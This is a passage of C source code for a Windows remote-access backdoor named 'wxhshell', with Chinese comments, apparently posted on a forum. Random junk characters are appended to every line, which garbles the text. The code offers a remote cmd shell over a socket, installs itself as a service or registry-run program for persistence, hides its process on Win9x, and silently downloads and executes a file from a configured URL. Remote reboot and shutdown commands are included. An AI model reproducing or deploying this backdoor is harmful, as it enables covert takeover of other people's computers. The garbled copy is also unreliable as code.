      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~r8<|$;  
    break; 0@cIj ]  
  } pIcg+~  
  // 安装 qNj?Rwc  
  case 'i': { HBE[q#  
    if(Install()) ;Hk3y+&]a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fk3(( n=  
    else P%e7c,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = N*Jis  
    break; * CR#D}F  
    } N?vb^?  
  // 卸载 5<ruN11G  
  case 'r': { [q[37;ZEQ  
    if(Uninstall()) ={P`Tve  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ZSC]w^  
    else Dbn344s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #'s$6gT=  
    break; ~KS@Ulrox  
    } Zhfg  
  // 显示 wxhshell 所在路径 pK3A/ry<  
  case 'p': { @y;VV*  
    char svExeFile[MAX_PATH]; .@OQ$ D<  
    strcpy(svExeFile,"\n\r"); Pa3-0dUr  
      strcat(svExeFile,ExeFile); !9/`PcNIpy  
        send(wsh,svExeFile,strlen(svExeFile),0); Q NMZR  
    break; <>\|hno}  
    } %`5 (SC].  
  // 重启 raPOF6-_rH  
  case 'b': { )x/#sW%)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); diJpbR^JP  
    if(Boot(REBOOT)) 3qe`#j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^w1+b;)  
    else { (y>N\xS9  
    closesocket(wsh); d[3me{Rs  
    ExitThread(0); G:$kGzhJ  
    } ,R`CAf%*  
    break; "73y}'  
    } C+s/KA%  
  // 关机 X#$ oV#  
  case 'd': { Nz`8)Le  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "crR{OjE"  
    if(Boot(SHUTDOWN)) T/P\j0hR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q\o#<'F1J  
    else { K.}jOm  
    closesocket(wsh); S#C-j D  
    ExitThread(0); E72N=7v"  
    } ~+4lmslR  
    break; *Sj) 9mp  
    } u$%C`v>  
  // 获取shell :;e OhZ=_  
  case 's': { kb2C 9<  
    CmdShell(wsh); c%doNY9Q  
    closesocket(wsh); ^vd$j-kjTP  
    ExitThread(0); u9S*2'  
    break; }=bzUA`C  
  } UDi(7c0.  
  // 退出 ]w6 F%d  
  case 'x': { PkDt-]G.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'W_NRt:  
    CloseIt(wsh); nb/q!8  
    break; %;QK5L   
    } Hl8-q!  
  // 离开 ' /HShS!d  
  case 'q': { yg}O9!MJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sX~E ~$_g  
    closesocket(wsh); f<bB= 9J  
    WSACleanup(); {k.:DH)  
    exit(1); fKY-@B[|  
    break; 7Fo^ :"  
        } j.Uy>ol  
  } \2y/:  
  } ,V9qiu=m   
uZn_*_J!  
  // 提示信息 X2A k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fw&ImRMk  
} PdO"e  
  } qA7,txQ:  
L%v@|COQ3  
  return; GW>F:<p  
} &qXobJRM  
=H;n$ -P  
// shell模块句柄 t!rrYBSCr  
int CmdShell(SOCKET sock) -r cEG!  
{ E6~VHQa2?  
STARTUPINFO si; }~@/r5Zl  
ZeroMemory(&si,sizeof(si)); SzpUCr"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &{8:XJe*,%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a%`Yz"<lQ  
PROCESS_INFORMATION ProcessInfo; $jh$nMx)!  
char cmdline[]="cmd"; ^ou)c/68aQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _@B?  
  return 0; yy{YduI  
} UiV#w#&P  
KU$,{Sn6@  
// 自身启动模式 3<XuJ1V&  
int StartFromService(void) QY)p![6Fj  
{ Nxe1^F33  
typedef struct PzKTEYJL  
{ x*z&#[(0g!  
  DWORD ExitStatus; :& Dv!z  
  DWORD PebBaseAddress; ~|=D.}#$  
  DWORD AffinityMask; Q9OCf"n$  
  DWORD BasePriority; B`eK_'7t  
  ULONG UniqueProcessId; UeFJ5n'x:  
  ULONG InheritedFromUniqueProcessId; *RS/`a;,  
}   PROCESS_BASIC_INFORMATION; Fya*[)HBo  
A;rk4)lij  
PROCNTQSIP NtQueryInformationProcess; Rf4K Rhi  
c9Et Uv~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6inAnC@I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [(*Eg!?W=  
7 w,D2T  
  HANDLE             hProcess; hA 5p'a+K  
  PROCESS_BASIC_INFORMATION pbi; }6a}8EyFP  
~ `}),aA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )I*(yUj  
  if(NULL == hInst ) return 0; eV}"L:bgJ  
B \R X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Mvni z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k^ZP~.G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W6>t!1oO+  
Ci-Ze j  
  if (!NtQueryInformationProcess) return 0; FLG"c690  
BJ5MCb.w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $`GlXiV  
  if(!hProcess) return 0; *CXc{{  
LGuZp?"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L<=Dl  
A3tv'-e9  
  CloseHandle(hProcess); yC$m(Y12FN  
Q SF0?Puf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rtAPkXJFM  
if(hProcess==NULL) return 0; >(P(!^[f  
lv/im/]v  
HMODULE hMod; l9uocP:D  
char procName[255]; 3 orZBT  
unsigned long cbNeeded; I]d-WTd  
w.58=Pr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 99*k&mb  
j|pTbOgk%  
  CloseHandle(hProcess); TO G4=y-N  
bj@sci(1?  
if(strstr(procName,"services")) return 1; // 以服务启动 ^X{U7?x  
`>UUdv{C  
  return 0; // 注册表启动 >z%YKdq  
} }I uqB*g[t  
}&/>v' G  
// 主模块 nxhlTf>3  
int StartWxhshell(LPSTR lpCmdLine) :y7K3:d3  
{ P9 HKev?y  
  SOCKET wsl; M7?ktK9`ma  
BOOL val=TRUE; {E%c%zzQ  
  int port=0; I H=$ w c  
  struct sockaddr_in door; kP$ E+L  
',g%L_8Sq  
  if(wscfg.ws_autoins) Install(); o3+s.7 "  
rP]|`*B  
port=atoi(lpCmdLine); _D}3``  
4o M~  
if(port<=0) port=wscfg.ws_port; Lqxh y s  
vrb@::sy0T  
  WSADATA data; v\|jkzR5Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `w#VYs|k  
nxV!mh_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OEaL2T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6oLOA}q   
  door.sin_family = AF_INET; eb`3'&zV&)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &c!6e<o[p  
  door.sin_port = htons(port); %ZD]qaU0  
P\K#q%8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DgcS@N  
closesocket(wsl); %J2Ad  
return 1; b?OA|JqX  
} >k`qPpf&  
[ x+ -N7  
  if(listen(wsl,2) == INVALID_SOCKET) { \&+Y;:6  
closesocket(wsl); }*rSg .  
return 1; ]wDqdD y7S  
} '8zd]U  
  Wxhshell(wsl); 7+f6?  
  WSACleanup(); [err$  
x&DqTX?b,  
return 0; >)C7IQ/  
sAU%:W{  
} & 'i_A%V  
bL* b>R[x  
// 以NT服务方式启动 r e zp7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &&l ZUR,`  
{ *cM=>3ws/  
DWORD   status = 0; uQH]  
  DWORD   specificError = 0xfffffff; 0J/yd  
V0 {#q/q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D+;4|7s+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @&m]:GR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  m-4#s  
  serviceStatus.dwWin32ExitCode     = 0; 'lE{Nj*7  
  serviceStatus.dwServiceSpecificExitCode = 0; ?jfh'mCA  
  serviceStatus.dwCheckPoint       = 0; 8hS^8  
  serviceStatus.dwWaitHint       = 0; J \|~k2~  
KRlJKd{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8tSY|ME  
  if (hServiceStatusHandle==0) return; oQh;lb  
r=3`Eb"t  
status = GetLastError(); iJhieNn  
  if (status!=NO_ERROR) e eN`T&cI  
{ p}sM"}Ul  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M887 Q'HSi  
    serviceStatus.dwCheckPoint       = 0; k-3;3Mq  
    serviceStatus.dwWaitHint       = 0; aNKw.S>  
    serviceStatus.dwWin32ExitCode     = status; yNfj-wM  
    serviceStatus.dwServiceSpecificExitCode = specificError; B!J?,SB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ):hz /vZ  
    return; ]vB^%  
  } N[O .p]8  
){P`-ZF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >WZ%Pv *  
  serviceStatus.dwCheckPoint       = 0; (BtU\f#d  
  serviceStatus.dwWaitHint       = 0; eCKm4l'BZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Eh;Ia6}  
} $:5h5Y#z  
9\?&u_ U"  
// 处理NT服务事件,比如:启动、停止 EsWB|V>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @F(er  
{ :tO?+1  
switch(fdwControl) !]s=9(O  
{ <<S4l~"o  
case SERVICE_CONTROL_STOP: cd,'37pZ  
  serviceStatus.dwWin32ExitCode = 0; cHr]{@7Cs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YIW9z{rrs  
  serviceStatus.dwCheckPoint   = 0; XsJ`x  
  serviceStatus.dwWaitHint     = 0; d(t)8k$  
  { Y_faqmZ 9]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =>PX~/o  
  } W (TTsnnx  
  return; .(Ux1.0C  
case SERVICE_CONTROL_PAUSE:  dEXhn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A4l"^dZc  
  break; _:Q^mV=;j  
case SERVICE_CONTROL_CONTINUE: }P%gwgPK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $I-iq @  
  break; 3F;0a ;[  
case SERVICE_CONTROL_INTERROGATE: m`zd0IRTP  
  break; V9< E `C  
}; chD7 ^&5]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bny@AP(CY+  
} rkS'OC  
+Q_xY>ej  
// 标准应用程序主函数 +e>G V61  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  >h2qam  
{ "K>!+<  
9{nU\am!\  
// 获取操作系统版本 _6.@^\;  
OsIsNt=GetOsVer(); Bz ,D4 E$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p=[dt  
7Y~5gn  
  // 从命令行安装 u* iqwm.  
  if(strpbrk(lpCmdLine,"iI")) Install(); b*| ?7  
|1ry*~  
  // 下载执行文件 (*eX'^Q)d  
if(wscfg.ws_downexe) { rA<J^dX=C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :FSg%IUX  
  WinExec(wscfg.ws_filenam,SW_HIDE); :W&kl UU"  
} GPAC0K^p  
vr47PM2al  
if(!OsIsNt) { (.oDxs()I  
// 如果时win9x,隐藏进程并且设置为注册表启动 FLPN#1  
HideProc(); Th,]nVsGs~  
StartWxhshell(lpCmdLine); E.$//P n|1  
} @:hWahMy  
else W{ozZuo  
  if(StartFromService()) AS0(NlV  
  // 以服务方式启动 )rA\+XT7  
  StartServiceCtrlDispatcher(DispatchTable); |'i ?o  
else ~:!& }e5  
  // 普通方式启动 Vx0Hq`_14  
  StartWxhshell(lpCmdLine); -$s1k~o  
L}8 }Pns?&  
return 0; #9"lL1  
}
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只看该作者 1 发表于: 2006-10-10
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